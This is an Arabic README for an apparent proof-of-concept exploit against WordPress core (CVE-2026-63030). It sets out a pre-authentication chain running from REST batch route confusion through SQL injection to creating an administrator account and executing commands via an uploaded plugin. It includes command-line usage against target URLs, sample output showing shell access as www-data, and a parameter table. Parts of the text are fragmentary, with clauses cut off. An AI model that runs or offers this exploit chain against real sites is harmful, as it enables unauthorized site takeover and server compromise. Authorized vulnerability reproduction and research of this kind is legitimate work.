
WordPress استغلال RCE غير مصرح به | CVE-2026-63030
سلسلة استغلال كاملة (PoC) لـ ارتباك توجيه الدُفعات (batch routing confusion) + حقن SQL في REST API لووردبريس، تؤدي إلى إنشاء مسؤول غير مصرح به → تنفيذ تعليمات برمجية عن بُعد (RCE).
للاستخدام فقط في اختبار الأمان المصرح به، وإعادة إنتاج الثغرات والبحث. يُمنع الاستخدام ضد أهداف غير مصرح بها.
| العنصر | الوصف |
|---|---|
| CVE | CVE-2026-63030 |
| المكون | WordPress Core REST API (/batch/v1) |
| الإصدارات المتأثرة | WordPress 6.9.0 – 6.9.4، 7.0.0 – 7.0.1 (حسب الإعلان الرسمي) |
| شرط الهجوم | تفعيل REST API batch على الهدف؛ وجود مقالة أو صفحة منشورة واحدة على الأقل |
| متطلبات الصلاحية | لا حاجة لتسجيل الدخول (Pre-Auth) |
| الضرر | إنشاء حساب مسؤول، ومن ثم رفع إضافة لتحقيق RCE |
ارتباك توجيه REST batch
→ حقن SQL في author__not_in
→ UNION لتزوير WP_Post / oEmbed cache / Customizer changeset
→ تبديل السياق إلى مسؤول موجود عند نشر Customizer
→ REST /wp/v2/users إنشاء مسؤول جديد
→ رفع إضافة مؤقتة من لوحة التحكم
→ تنفيذ أوامر النظام
الجوهر ليس "كتابة مكدسة إلى قاعدة البيانات"، بل:
$matches / $validation بين مرحلة التحقق ومرحلة الجدولة في serve_batch_request_v1()، مما يؤدي إلى ارتباك التوجيه (route confusion).author_exclude (كنص) إلى author__not_in في WP_Query، ويُدمج في NOT IN (...)، مكونًا حقن SQL.UNION SELECT يتم تزوير صف wp_posts كامل، مما يؤدي إلى تشغيل منطق oEmbed / Customizer، وتحويل سياق المستخدم الحالي إلى مسؤول موجود.proc_open / passthru / system / shell_exec / exec / popen)disable_functions، يمكن أن تنجح مرحلة إنشاء المسؤول، لكن مرحلة RCE ستفشلCVE-2026-63030/
├── exp.py # سكربت الاستغلال الكامل (ملف واحد، بدون تبعيات)
└── README.md # هذا الشرح
id)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
بعد انتهاء السكربت، سيحاول:
إذا فشل في منتصف الطريق، يُرجى التنظيف يدويًا باستخدام اسم المستخدم وكلمة المرور الموجودين في المخرجات.
has been disabled for security reasons، فهذا يعني أن disable_functions عطّلت الوظيفة المقابلة. سيحاول PoC عدة طرق للتنفيذ؛ إذا كانت جميعها معطلة، لن يكون RCE متاحًا، لكن مرحلة إنشاء المسؤول قد تنجح.wp-admin/users.php وwp-content/plugins/./batch/v1 في حال عدم توفر التصحيحdisable_functions ومستخدم ويب بأقل صلاحيات لتقليل تأثير RCEالكود الموجود في هذا المستودع هو لأغراض البحث الأمني وإعادة إنتاج الثغرات المصرح بها فقط. يجب على المستخدم ضمان الامتثال للقوانين المحلية وصلاحيات النظام المستهدف. المؤلف غير مسؤول عن أي استخدام سيء.
| المعامل | إلزامي | القيمة الافتراضية | الشرح |
|---|
--url | نعم | لا يوجد | رابط ووردبريس الجذر |
--username | لا | wp2_<hex> | اسم المستخدم للمسؤول الجديد |
--password | لا | Wp2!<random> | كلمة المرور للمسؤول الجديد |
--email | لا | <username>@wp2shell.invalid | البريد الإلكتروني للمسؤول الجديد |
--command / -c | لا | id | الأمر المراد تنفيذه عبر الإضافة المؤقتة |
--timeout | لا | 60 | مهلة HTTP الواحدة (بالثواني) |